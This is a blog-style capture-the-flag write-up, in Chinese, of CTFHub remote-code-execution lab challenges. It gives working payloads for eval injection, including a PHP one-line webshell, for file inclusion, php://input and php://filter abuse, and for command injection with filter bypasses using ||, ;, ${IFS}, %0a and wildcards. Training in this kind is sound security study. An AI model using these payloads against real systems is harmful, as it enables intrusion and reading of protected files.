CTFHub(RCE)

eval执行

请添加图片描述
思路分析
单纯的一道RCE板子题,解决方法很多。
1.可以直接用蚁剑链接实现RCE
2.这里介绍手工RCE的相关技巧
3.?cmd=system(“ls /”); //查看根目录下的文件
请添加图片描述发现根目录显得flag文件
4.?cmd=system(“tac /flag_20116”); //得到flag

文件包含

请添加图片描述
思路分析
1.首先看到题目提示,shell.txt。
2.打开后发现是一个典型的一句话木马。

<?php eval($_REQUEST['ctfhub']);?>

3.结合提示,考虑包含shell.txt文件执行一句话木马实现RCE。
4.?file=shell.txt&ctfhub=system(“ls”);
5.接下来的操作和上题相似。

php://input

请添加图片描述1.根据题目提示,考虑php伪协议中的php://input
2.php://input可以获得POST的输入流
3.根据分析构造payload
请添加图片描述

注意:一定是POST方式的请求,而且发送的请求是PHP代码格式,参考一句话木马。
请添加图片描述4.在回显信息里看到flag文件,后续实现与之前题目类似。

读取源代码

请添加图片描述

思路分析
根据题目提示,考虑php://filter/读取源代码
payload:?file=php://filter/convert.base64-encode/resource=/flag
请添加图片描述将base64解码后得到flag

命令注入

请添加图片描述
思路分析
主要考察管道运算符的使用。
1.payload:127.0.0.1||ls
实现RCE,后续操作和之前题目类似

过滤cat

请添加图片描述
思路分析
cat命令被过滤,我们考虑其他的命令读取flag
payload1:127.0.0.1||tac flag_4646633119924.php
payload2:127.0.0.1||nl flag_4646633119924.php
payload3:127.0.0.1||grep ctfhub flag_4646633119924.php

过滤空格

请添加图片描述过滤空格的绕过方法:
在这里插入图片描述

payload1:tac%24{IFS}flag_12443322596965.php
payload2:tac%24IFS$1flag_12443322596965.php

过滤目录分隔符

请添加图片描述

思路分析
首先查看目录:127.0.0.1||ls
请添加图片描述发现flag文件,因为过滤了 / 无法直接通过127.0.0.1||tac /flag_is_here读取flag文件。
考虑堆叠命令执行:127.0.0.1||cd flag_is_here;ls
请添加图片描述读取flag 127.0.0.1||cd flag_is_here;tac flag_118743114030216.php

过滤运算符

请添加图片描述
思路分析
1.过滤了运算符,考虑使用分号绕过
2.127.0.0.1;ls
3.127.0.0.1;tac flag_1071124039192.php读取flag

综合过滤

请添加图片描述

思路分析
1.看大所有的管道符都被过滤,考虑使用%0a绕过(保险起见,建议在浏览器url当中修改)127.0.0.1%0Als。
2.发现敏感文件
请添加图片描述3.查看文件夹内的文件
127.0.0.1%0Als${IFS}fla?_is_here
根据之前的经验,绕过空格,用统配符绕过对flag的过滤
请添加图片描述4.发现敏感文件

(payload打不上)
请添加图片描述完结撒花
总而言之,ctfhub内的题目较为基础和简单,对小白比较友好。

  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值